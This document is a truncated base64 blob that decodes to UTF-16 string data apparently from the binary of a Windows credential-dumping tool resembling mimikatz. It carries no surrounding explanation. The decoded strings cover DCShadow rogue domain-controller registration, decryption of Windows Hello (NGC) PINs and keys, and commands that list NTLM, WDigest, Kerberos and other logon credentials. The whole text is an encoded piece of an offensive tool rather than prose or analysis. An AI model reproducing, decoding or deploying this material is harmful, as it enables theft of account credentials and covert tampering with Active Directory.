AcwBhADoAAAAAACoAKgAgAEQAbwBtAGEAaQBuACAASQBuAGYAbwAgACoAKgAKAAoAAAAqACoAIABTAGUAcgB2AGUAcgAgAEkAbgBmAG8AIAAqACoACgAKAAAAUwBlAHIAdgBlAHIAOgAgACUAcwAKACAAIABJAG4AcwB0AGEAbgBjAGUASQBkACAAIAA6ACAAAAAKACAAIABJAG4AdgBvAGMAYQB0AGkAbwBuAEkAZAA6ACAAAAAAAAAARgBhAGsAZQAgAFMAZQByAHYAZQByACAAKABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAApADoAIAAlAHMACgAgACAASQBuAHMAdABhAG4AYwBlAEkAZAAgACAAOgAgAAAAAAAAAEYAYQBrAGUAIABTAGUAcgB2AGUAcgAgACgAbgBvAHQAIABhAGwAcgBlAGEAZAB5ACAAcgBlAGcAaQBzAHQAZQByAGUAZAApADoAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQBfAHMAZQBuAHMAaQB0AGkAdgBlAF8AdgBhAGwAdQBlACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQATgB0AE8AdwBmAFAAdwBkAFcAaQB0AGgASQBuAGQAZQB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQBfAHMAZQBuAHMAaQB0AGkAdgBlAF8AdgBhAGwAdQBlACAAOwAgAFUAbgBlAHgAcABlAGMAdABlAGQAIABoAGEAcwBoACAAbABlAG4AIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5ACAAOwAgAEkARABMAF8ARABSAFMAQQBkAGQARQBuAHQAcgB5ACAAcgBlAHQAdQByAG4AZQBkACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABJAEQATABfAEQAUgBTAEEAZABkAEUAbgB0AHIAeQA6ACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAHYAZQByAHMAaQBvAG4AIAAlAHUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5ACAAOwAgAEkARABMAF8ARABSAFMAQQBkAGQARQBuAHQAcgB5ADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5ACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAARQBuAGMAbwBkAGkAbgBnACAAbwBiAGoAZQBjAHQACgAAAAAAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADUALgA3ADAAMAAwAC4ANAA3AAAAAAAxADYAAAAAADIuNS40LjAAMS4yLjg0MC4xMTM1NTYuMS4yLjE0AAAAMS4yLjg0MC4xMTM1NTYuMS4yLjM2AAAAMS4yLjg0MC4xMTM1NTYuMS4yLjExNQAAMS4yLjg0MC4xMTM1NTYuMS40LjMwNwAAMS4yLjg0MC4xMTM1NTYuMS40LjM3NQAAMS4yLjg0MC4xMTM1NTYuMS40LjUxNQAAMS4yLjg0MC4xMTM1NTYuMS40LjE0NTkAMS4yLjg0MC4xMTM1NTYuMS40LjE4MjAAMS4yLjg0MC4xMTM1NTYuMS40LjE4MzYARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQBfAG0AYQBuAHUAYQBsACAAOwAgAEQAUgBTAEEAZABkAEUAbgB0AHIAeQAgAG8AYgBqAGUAYwB0ACAAJQB1ADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgBpAG4AZABfAEQAUgBTAFIAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAG8AYgBqAGUAYwB0AEMAbABhAHMAcwAAAHMAZQByAHYAZQByAFIAZQBmAGUAcgBlAG4AYwBlAAAAQwBOAD0AJQBzACUAcwAAAEcAQwAvACUAcwAvACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgBfAGwAZABhAHAAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAFMAUABOACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgBfAGwAZABhAHAAIAA7ACAAbABkAGEAcABfAGEAZABkAF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAG8AYgBqAGUAYwB0ACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAaQBuAHYAbwBjAGEAdABpAG8AbgAgAEkAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAbwBiAGoAZQBjAHQAIAB2AGkAYQAgAEQAcgBzAAoAAAAAAEEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABTAHkAbgBjAGkAbgBnACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBmAG8AcgBjAGUAXwBzAHkAbgBjAF8AcABhAHIAdABpAHQAaQBvAG4AIAA7ACAASQBEAEwAXwBEAFIAUwBSAGUAcABsAGkAYwBhAEEAZABkACAAJQBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGYAbwByAGMAZQBfAHMAeQBuAGMAXwBwAGEAcgB0AGkAdABpAG8AbgAgADsAIABJAEQATABfAEQAUgBTAFIAZQBwAGwAaQBjAGEARABlAGwAIAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABTAHkAbgBjACAARABvAG4AZQAKAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AZABlAGwAZQB0AGUAXwBzACAAJQBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHUAbgByAGUAZwBpAHMAdABlAHIAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHUAbgByAGUAZwBpAHMAdABlAHIAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAFMAUABOACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAcwB0AGEAYwBrAAAAdgBpAGUAdwBzAHQAYQBjAGsAAABjAGwAZQBhAHIAcwB0AGEAYwBrAAAAAABwAHUAcwBoAAAAAABtAGEAbgB1AGEAbAByAGUAZwBpAHMAdABlAHIAAAAAAG0AYQBuAHUAYQBsAHAAdQBzAGgAAAAAAG0AYQBuAHUAYQBsAHUAbgByAGUAZwBpAHMAdABlAHIAAAAAAGEAZABkAGUAbgB0AHIAeQAAAAAAdgBpAGUAdwByAGUAcABsAGkAYwBhAHQAaQBvAG4AAABrAGkAbABsAAAAAABjAG8AbgBmAGkAZwAAAAAAcwBjAGgAZQBtAGEAAAAAAHIAbwBvAHQAAAAAAHIAZQBtAG8AdABlAG0AbwBkAGkAZgB5AAAAAAAqACoAIABQAGUAcgBmAG8AcgBtAGkAbgBnACAAQQBkAGQARQBuAHQAcgB5ACAAKgAqAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABwAGUAcgBmAG8AcgBtACAAQQBkAGQARQBuAHQAcgB5ADoAIAAlADAAOAB4AAoAAAAqACoAIABTAHQAYQByAHQAaQBuAGcAIABzAGUAcgB2AGUAcgAgACoAKgAKAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3ACAAOwAgAHUAbgBhAGIAbABlACAAdABvACAAcwB0AGEAcgB0ACAAdABoAGUAIABzAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAAPQA9ACAAUAByAGUAcwBzACAAQQBuAHkAIABLAGUAeQAgAHQAbwAgAHMAdABvAHAAIAA9AD0ACgAAAAAAPQA9ACAAUAByAGUAcwBzACAAQwBvAG4AdAByAG8AbAArAEMAIAB0AG8AIABzAHQAbwBwACAAPQA9AAoAAAAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABSAGUAZwBpAHMAdAByAGEAdABpAG8AbgAgACoAKgAKAAoAAAAqACoAIABQAGUAcgBmAG8AcgBtAGkAbgBnACAAUAB1AHMAaAAgACoAKgAKAAoAAAAqACoAIABQAGUAcgBmAG8AcgBtAGkAbgBnACAASQBuAGkAdABpAGEAbAAgAEwAaQBuAGcAZQByAGkAbgBnACAAKgAqAAoACgAAAAAAAAAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABVAG4AcgBlAGcAaQBzAHQAcgBhAHQAaQBvAG4AIAAqACoACgAKAAAAKgAqACAAUAByAG8AcABhAGcAYQB0AGUAIABMAGkAbgBnAGUAcgBpAG4AZwAgACoAKgAKAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3ACAAOwAgAG4AbwAgAG8AYgBqAGUAYwB0ACAAdABvACAAcAB1AHMAaAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAIAA7ACAAbABkAGEAcAAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAgACAAYwBNAGEAeABPAGIAagBlAGMAdABzACAAOgAgACUAdQAKAAAAIAAgAGMATQBhAHgAQgB5AHQAZQBzACAAIAAgADoAIAAwAHgAJQAwADgAeAAKAAAAIAAgAHUAbABFAHgAdABlAG4AZABlAGQATwBwADoAIAAlAHUACgAAACAAIABwAE4AQwAtAD4ARwB1AGkAZAA6ACAAAAAgACAAcABOAEMALQA+AFMAaQBkACAAOgAgAAAAIAAgAHAATgBDAC0APgBOAGEAbQBlADoAIAAlAHMACgAAAAAAUwBlAHMAcwBpAG8AbgBLAGUAeQA6ACAAAAAAACUAdQAgAG8AYgBqAGUAYwB0ACgAcwApACAAcAB1AHMAaABlAGQACgAAAAAAIAAgAFYAZQByAGkAZgB5ACAATgBhAG0AZQAgAGYAbwByADoAIAAlAHMACgAAAAAAbABvAGcAbwBuAGQAYQB0AGEAAAA6ACkAAAAAAFQAcgB5ACAAZABvACAAZABlAGMAcgB5AHAAdAAgAGEAIABQAEkATgAgAFAAcgBvAHQAZQBjAHQAbwByAAAAAABzAGkAZwBuAAAAAABUAHIAeQAgAHQAbwAgAHMAaQBnAG4AAABkAGUAYwByAHkAcAB0AAAAVAByAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0AAAAAABuAGcAYwAAAAAAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5ACAAbQBvAGQAdQBsAGUAIAAoAGsAaQB3AGkAIAB1AHMAZQAgAG8AbgBsAHkAKQAAAFMAbwBtAGUAIABjAG8AbQBtAGEAbgBkAHMAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAC4ALgAAACAAIAAgACAAPgAgACAAJQBzACAAKAB0AG8AZABlAGMAbwBkAGUAKQA6ACAAAAAAACAAIAAgACAAPgA+ACAAJQBzACAAKABkAGUAYwBvAGQAZQBkACkAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABkAGUAYQBsAFcAaQB0AGgAUwB0AHIAdQBjAHQAVABvAEQAZQBjAG8AZABlACAAOwAgAFIAZQBtAG8AdABlACAAUwBDACAALQAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABNAGUAbQBvAHIAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAZABlAGEAbABXAGkAdABoAFMAdAByAHUAYwB0AFQAbwBEAGUAYwBvAGQAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAD8AZQBtAHAAdAB5AD8AAAA/ACAAPwAgAD8AIAA/AAAAUwBsAG8AdABQAGkAbgAAACAAIAAgACAAdQBuAGsARQA6ACAAAAAAACAAIABQAGEAdABoADoAIAAlAHcAWgAKAAAAAAAKAEcAVQBJAEQAOgAgAAAATgBnAGMAQwB0AG4AcgBTAHYAYwAAAAAAUwBlAHIAdgBpAGMAZQAgAFAASQBEADoAIAAlAHUACgAAAAAATgBnAGMAQwB0AG4AcgBTAHYAYwAuAGQAbABsAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGwAbwBnAG8AbgBkAGEAdABhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBsAG8AZwBvAG4AZABhAHQAYQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGwAbwBnAG8AbgBkAGEAdABhACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBsAG8AZwBvAG4AZABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAGUAcgB2AGkAYwBlAFAAcgBvAGYAaQBsAGUAcwBcAEwAbwBjAGEAbABTAGUAcgB2AGkAYwBlAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AaQBjAHIAbwBzAG8AZgB0AFwATgBnAGMAAAB7ADkAMwBGADEAMAA4ADYAMQAtADEAOQBGADEALQA0ADIAQgA4AC0AQQBEADIANAAtADkAMwBBADIAOABFADkAQwA0ADAAOQA2AH0AXAAAAFAAcgBvAHQAZQBjAHQAbwByAHMAXAAAACUAcwBcACUAcwBcACUAcwAlAHMAJQBzACUAdQAuAGQAYQB0AAAAAAAgACAAVQBuAGsAUABpAG4AIAAgACAAIAA6ACAAAAAAACAAIABEAGUAYwByAHkAcAB0AFAAaQBuADoAIAAAAAAAIAAgAFMAaQBnAG4AUABpAG4AIAAgACAAOgAgAAAAAAB3AGkAdABoAGIAYQBjAGsAdQBwAAAAAABVAHMAZQByACAAUwBJAEQAIAAgADoAIAAlAC4AKgBzAAAAAAAgACgAIAAlAHMAXAAlAHMAIAApAAAAAABQAGkAbgAgAGMAbwBkAGUAIAAgADoAIAAlAFMACgBIAGUAeAAgAHAAaQBuACAAIAAgADoAIAAAACgAAABUAGkAbQBlAHMAdABhAG0AcAAgADoAIAAAAAAAUAByAG8AdgBpAGQAZQByACAAIAA6ACAAJQAuACoAcwAKAAAASwBlAHkATgBhAG0AZQAgACAAIAA6ACAAJQAuACoAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBwAGkAbgAgADsAIABkAHcASQBtAHAAbABUAHkAcABlADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcABpAG4AIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACgATgBDAFIAWQBQAFQAXwBJAE0AUABMAF8AVABZAFAARQBfAFAAUgBPAFAARQBSAFQAWQApADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHAAaQBuACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHAAaQBuACAAOwAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAEsAZQB5ADoAIAAlAHMACgAAAAAAUABJAE4AOgAgACUAcwAKAAAAAABEAGEAdABhACAAKABBAFMATgAxACAAaABhAHMAaAApADoACgAAAAAAUwBpAGcAbgBhAHQAdQByAGUAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBzAGkAZwBuACAAOwAgAE4AQwByAHkAcAB0AFMAaQBnAG4ASABhAHMAaAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBzAGkAZwBuACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAoACUAcwApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcwBpAGcAbgAgADsAIABUAGgAZQAgAHMAcABlAGMAaQBmAGkAZQBkACAAawBlAHkAIAB3AGEAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACwAIABkAGkAZAAgAHkAbwB1ACAAaQBtAHAAZQByAHMAbwBuAGEAdABlACAAbABvAGMAYQBsAHMAZQByAHYAaQBjAGUAPwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAHMAaQBnAG4AIAA7ACAAcABpAG4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AcwBpAGcAbgAgADsAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAZQBuAGMAawBlAHkAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAIAAgACAAOgAgACUAcwAKAEsAZQB5AE4AYQBtAGUAIAAgACAAIAA6ACAAJQBzAAoASwBlAHkAIABQAEkATgAgACAAIAAgADoAIAAlAHMACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAATwB1AHQAcAB1AHQAIAAgACAAIAAgADoAIAAAAGkAdgAAAAAAZQBuAGMAUABhAHMAcwB3AG8AcgBkAAAASQBWACAAIAAgACAAIAAgACAAIAAgADoAIAAAAEUAbgBjAFAAYQBzAHMAdwBvAHIAZAA6ACAAAAAKAFAAYQBzAHMAdwBvAHIAZAAgACAAIAA6ACAAJQAuACoAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQgBDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEIAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAKABpAG4AaQB0ACkAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABCAEMAcgB5AHAAdABHAGUAbgBlAHIAYQB0AGUAUwB5AG0AbQBlAHQAcgBpAGMASwBlAHkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEIAQwByAHkAcAB0AE8AcABlAG4AQQBsAGcAbwByAGkAdABoAG0AUAByAG8AdgBpAGQAZQByADoAIAAwAHgAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAZQBuAGMAUABhAHMAcwB3AG8AcgBkACAAZgByAG8AbQAgAGgAZQB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAHUAbgBhAGIAbABlACAAdABvACAAYwBvAG4AdgBlAHIAdAAgAEkAVgAgAGYAcgBvAG0AIABoAGUAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAZABhAHQAYQAgAGYAcgBvAG0AIABoAGUAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGcAYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAYQAgAC8AZABhAHQAYQAgACgAbwByACAALwBlAG4AYwBrAGUAeQApACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBnAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAGEAIAAvAHAAaQBuACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZwBjAF8AZABlAGMAcgB5AHAAdAAgADsAIABhACAALwBrAGUAeQBuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAACAAIAAgACAAKgAgACUAcwAKAAAAIAAgACAAIAAgACAAUAByAG8AdgBpAGQAZQByACAAOgAgACUALgAqAHMACgAAAAAAIAAgACAAIAAgACAASwBlAHkAIABOAGEAbQBlACAAOgAgACUALgAqAHMACgAAAAAAIAAgACAAIAAgACAAVABpAG0AZQBzAHQAYQBtAHAAOgAgAAAAIAAgACAAIAAgACAARQBuAGMAIABQAEkATgBzACAAOgAgACUAdQAgAGIAeQB0AGUAKABzACkACgAAAAAAewA5ADMARgAxADAAOAA2ADEALQAxADkARgAxAC0ANAAyAEIAOAAtAEEARAAyADQALQA5ADMAQQAyADgARQA5AEMANAAwADkANgB9AAAAAAAgACAAIAAgACAAIABOAGEAbQBlACAAIAAgACAAIAA6ACAAJQAuACoAcwAKAAAAAAAgACAAIAAgACAAIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAOgAKAAAACgAqACAAJQBzAAoAAAAAACAAIAAgACAAVQBzAGUAcgAgAFMASQBEACAAIAAgACAAIAA6ACAAJQAuACoAcwAAACAAIAAgACAATQBhAGkAbgAgAFAAcgBvAHYAaQBkAGUAcgA6ACAAJQAuACoAcwAKAAAAAABQAHIAbwB0AGUAYwB0AG8AcgBzAAAAAAAKACAAIAAgACAAUAByAG8AdABlAGMAdABvAHIAcwA6AAoAAAAKACAAIAAgACAAewA5ADMARgAxADAAOAA2ADEALQAxADkARgAxAC0ANAAyAEIAOAAtAEEARAAyADQALQA5ADMAQQAyADgARQA5AEMANAAwADkANgB9ADoACgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdABzAHAAawBnAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABjAGwAbwB1AGQAYQBwAAAATABpAHMAdABzACAAQwBsAG8AdQBkAEEAcAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAHMAcwBwAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAb